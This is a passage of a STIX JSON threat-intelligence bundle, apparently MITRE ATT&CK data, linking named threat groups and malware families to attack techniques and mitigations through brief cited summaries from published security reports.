                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                }
            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-06-22T17:55:32.020Z",
            "created": "2017-05-31T21:33:27.080Z"
        },
        {
            "id": "relationship--d26e2b47-e474-402d-b3ff-423a8b64a68e",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "description": "(Citation: Proofpoint Leviathan Oct 2017)",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.467Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--523f4d23-13b0-4ec3-a544-2d0614617e04",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--f2dcee22-c275-405e-87fd-48630a19dfba",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2020-03-28T19:06:02.785Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ad77932b-9632-4816-b9af-db6257f5a7d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) stores the gathered data from the machine in .db files and .bmp files under four separate locations.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:39:20.253Z",
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        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) has used compromised WordPress blogs as C2 servers.(Citation: Unit 42 Kazuar May 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:15:48.749Z",
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        {
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            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "description": "(Citation: FireEye APT37 Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.907Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running services and associated processes using the <code>tasklist /svc</code> command.(Citation: Kaspersky Turla)",
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            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used WMI event subscriptions for persistence.(Citation: Mandiant No Easy Breach)(Citation: ESET Dukes October 2019)(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "source_name": "Mandiant No Easy Breach"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                },
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "type": "relationship",
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        },
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            "type": "relationship",
            "modified": "2020-01-24T19:47:55.639Z",
            "created": "2017-05-31T21:33:27.018Z"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
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                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"
                },
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2021-04-09T14:46:58.787Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "relationship_type": "uses",
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                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "description": "(Citation: Mandiant No Easy Breach)",
            "type": "relationship",
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            "created": "2018-01-16T16:13:52.465Z"
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            "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples contain a publicly available Web browser password recovery tool.(Citation: Symantec Dragonfly)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-19T22:23:55.584Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "source_ref": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04",
            "relationship_type": "mitigates",
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            "type": "relationship",
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            "created": "2017-05-31T21:33:27.021Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.431Z",
            "created": "2017-05-31T21:33:27.037Z"
        },
        {
            "id": "relationship--518e99d1-d80e-4a5c-9b47-301da8b501e4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses HTTP and HTTPS to communicate with the C2 server.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.811Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c28d6f10-431f-493c-8abd-918240c5c970",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-26T18:17:42.462Z",
            "created": "2017-05-31T21:33:27.026Z"
        },
        {
            "id": "relationship--979812c4-939e-4a7e-96b3-348028db10ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware deletes files in various ways, including \"suicide scripts\" to delete malware binaries from the victim. [Lazarus Group](https://attack.mitre.org/groups/G0032) also uses secure file deletion to delete files from the victim.(Citation: Novetta Blockbuster)(Citation: McAfee GhostSecret)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                },
                {
                    "source_name": "F-Secure Lazarus Cryptocurrency Aug 2020",
                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-09-22T16:26:52.951Z",
            "created": "2017-05-31T21:33:27.066Z"
        },
        {
            "id": "relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) executes <code>net start</code> after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.745Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bc249532-826d-4bc2-8b03-43f284fe609f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[adbupd](https://attack.mitre.org/software/S0202) can use a WMI script to achieve persistence.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "type": "relationship",
            "modified": "2020-03-17T19:00:53.741Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.210Z",
            "created": "2017-05-31T21:33:27.054Z"
        },
        {
            "id": "relationship--8f648221-38fe-4c81-b6d6-d41c398ff870",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:26:06.859Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c945e5f2-5622-46ce-8b35-468d41d2af46",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT12](https://attack.mitre.org/groups/G0005) has used the [RIPTIDE](https://attack.mitre.org/software/S0003) RAT, which communicates over HTTP with a payload encrypted with RC4.(Citation: Moran 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Moran 2014",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                }
            ],
            "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:23:20.755Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8e69c855-db70-4b5e-866b-f9ce0b786156",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of watching the victim's screen.(Citation: Citizen Lab Group5)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Group5",
                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "url": "https://citizenlab.ca/2016/08/group5-syria/"
                }
            ],
            "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-07-25T17:52:06.542Z",
            "created": "2017-05-31T21:33:27.078Z"
        },
        {
            "id": "relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
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            "type": "relationship",
            "modified": "2019-03-22T19:57:37.129Z",
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        },
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry Run key.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)",
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                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
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                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.659Z",
            "created": "2017-05-31T21:33:27.068Z"
        },
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) uses remote services such as VPN, Citrix, or OWA to persist in an environment.(Citation: FireEye APT34 Webinar Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-09-04T22:55:41.005Z",
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        },
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            "description": "[CallMe](https://attack.mitre.org/software/S0077) uses AES to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:05:02.527Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has targeted victims with spearphishing emails containing malicious Microsoft Word documents.(Citation: McAfee Bankshot)",
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                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
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            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-09-09T19:15:44.938Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has leveraged Spearphishing Attachments attempting to gain User Execution.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                },
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
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            "type": "relationship",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) scanned the \u201cProgram Files\u201d directories for a directory with the string \u201cTotal Security\u201d (the installation path of the \u201c360 Total Security\u201d antivirus tool).(Citation: Cymmetria Patchwork)",
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                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
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                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.733Z",
            "created": "2017-05-31T21:33:27.076Z"
        },
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            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can sort and collect specific documents as well as generate a list of all files on a newly inserted drive and store them in an encrypted file.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-07-16T15:24:32.873Z",
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        },
        {
            "id": "relationship--b38984a2-0761-4107-b61e-4d27cc22a2c0",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
            "type": "relationship",
            "modified": "2019-03-25T15:36:46.882Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4f76fd4d-a638-41a0-90b9-bd4ada6f93f3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2020-03-20T21:48:51.628Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.(Citation: Microsoft PLATINUM June 2017)",
            "object_marking_refs": [
